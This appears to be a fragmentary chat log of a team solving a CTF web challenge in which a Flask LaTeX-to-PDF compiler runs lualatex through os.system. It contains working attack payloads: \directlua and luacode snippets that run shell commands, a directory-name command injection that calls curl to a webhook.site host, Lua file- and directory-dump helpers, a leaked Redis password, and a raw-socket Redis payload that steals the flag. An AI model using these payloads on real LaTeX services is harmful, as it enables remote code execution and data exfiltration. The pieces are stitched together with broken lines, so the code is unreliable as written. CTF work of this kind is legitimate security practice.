Project Sekai
🔒 GDG Algiers CTF 2022 / 🩸-web-lay-lowah
\documentclass[11pt,a4paper]{article}
\usepackage{verbatim}
\begin{document}
\section{Flag}
\directlua{os.execute("/bin/cat /flag.txt")}
\end{document}
but nothing so far
#!/usr/bin/python3
from flask import Flask, request, render_template, redirect, url_for, make_response
from utils import PDF, remove_pdfs, make_cache_key
from flask_caching import Cache, CachedResponse
app = Flask(__name__)
app.config.from_object('config.BaseConfig')
cache = Cache(app)
@app.route("/", methods=["GET", "HEAD"])
def root():
return redirect(url_for("compile"))
@app.route("/compile", methods=["GET", "POST", "HEAD"])
@cache.cached(timeout=30, key_prefix=make_cache_key)
def compile():
pdf = None
if request.method == "GET":
return render_template("./compile.html", pdf=pdf)
elif request.method == "POST":
latex_text = request.form.get("latex_text")
try:
pdf = PDF(latex_text).generate_pdf()
if pdf is not None:
result = "Compiled successfully!"
return CachedResponse(
response=make_response(
render_template(
"./compile.html", result=result, pdf=pdf
)
)
,timeout=50,
)
else:
raise Exception("")
except Exception as e:
print(e)
result = "something is going wrong"
pdf = None
return render_template("./compile.html", result=result, pdf=pdf)
else:
return render_template("./compile.html")\documentclass{article}
\usepackage{verbatim}
\begin{document}
\verbatiminput{app.py}
\end{document}#utils.py
import random, os
import pathlib
import shutil
from flask import request
from urllib import parse as urllib
class PDF:
def __init__(self, latex_text) -> None:
self.latex_text = latex_text
self.pdf_file = self.generate_pdf()
def generate_pdf(self):
rand_numb = str(random.randint(1, 10 ** 15))
output_dir = f"./static/output/{hex(int(rand_numb))[2:]}"
os.system(f"mkdir {output_dir}")
with open(f"{output_dir}/latex.tex", 'w') as w:
w.write(self.latex_text)
if os.path.exists(f"{output_dir}/latex.tex"):
os.system(f"lualatex --halt-on-error --output-directory {output_dir}/ {output_dir}/latex.tex")
else:
print("not found")
pdf_file = f"{output_dir}/latex.pdf"
if os.path.exists(pdf_file):
return pdf_file
else:
return None
def remove_pdfs():
output_dir = "./static/output/"
for d in os.listdir(output_dir):
if pathlib.Path(f"{output_dir}{d}").is_dir():
pdf_dir = pathlib.Path("static/output", d)
shutil.rmtree(pdf_dir)
def make_cache_key():
args = request.form
key = request.path + '?' + urllib.urlencode([
(k, v) for k in sorted(args) for v in sorted(args.getlist(k))
])
return ke
\documentclass[11pt,a4paper]{article}
\usepackage{verbatim}
\begin{document}
\section{Flag}
\directlua{os.execute("/bin/cat /flag.txt")}
\end{document}
but nothing so far 
os.system(f"lualatex --halt-on-error --output-directory {output_dir}/ {output_dir}/latex.tex")
\documentclass{article}
\usepackage{luacode}
\usepackage{luapackageloader}
\begin{document}
\begin{luacode}
tex.print(os.rename('static','; curl https://webhook.site/5658b58c-866b-4e99-8422-22ac6d3a231e #'))
\end{luacode}
\end{document} output_dir = f"./static/output/{hex(int(rand_numb))[2:]}"
os.system(f"mkdir {output_dir}")
with open(f"{output_dir}/latex.tex", 'w') as w:
w.write(self.latex_text)
if os.path.exists(f"{output_dir}/latex.tex"):
os.system(f"lualatex --halt-on-error --output-directory {output_dir}/ {output_dir}/latex.tex")
import os
URL = ”http://localhost:8000”
class BaseConfig(object):
CACHE_TYPE = os.environ[’CACHE_TYPE’]
CACHE_REDIS_HOST = os.environ[’CACHE_REDIS_HOST’]
CACHE_REDIS_PORT = os.environ[’CACHE_REDIS_PORT’]
CACHE_REDIS_DB = os.environ[’CACHE_REDIS_DB’]
CACHE_REDIS_URL = os.environ[’CACHE_REDIS_URL’]
CACHE_DEFAULT_TIMEOUT = os.environ[’CACHE_DEFAULT_TIMEOUT’]
# os.system(’lua /ctf/insert_flag.lua’)
# os.system(’rm /ctf/insert_flag.lua’) (edited)
os.env[key] to get all the stuff we needredis://:JtmvalTXG91siKBIrCxmsDfXNfkl8Gck@cache:6379/0 am lost now
function dump_tex(path)
for line in io.lines(path) do
tex.write(line)
tex.print("\\\\")
end
end
function dump_dir(path)
for p in lfs.dir(path) do
tex.write(path .. "/" .. p)
tex.print("\\\\")
end
end
--status, err = pcall(function() dump_dir("/ctf/app") end)
--tex.write(err)
--status, err = pcall(function() dump_tex("/ctf/app/wsgi.py") end)
--tex.write(err)
here some lua code to dump stuff
Well done, you got first blood!\documentclass{article}
\usepackage{luacode}
\usepackage{luapackageloader}
\begin{document}
-start
\begin{luacode*}
host = os.env["CACHE_REDIS_HOST"]
port = os.env["CACHE_REDIS_PORT"]
socket = socket.tcp()
local ok, err = socket:connect(host, tonumber(port))
socket:send("*2\r\n$4\r\nAUTH\r\n$32\r\nJtmvalTXG91siKBIrCxmsDfXNfkl8Gck\r\n")
line, err = socket:receive(3)
tex.write(line)
socket:send("*2\r\n$3\r\nGET\r\n$4\r\nFLAG\r\n")
line, err = socket:receive(7)
tex.write(line)
line, err = socket:receive(41)
tex.write(line)
\end{luacode*}
-end
\end{document}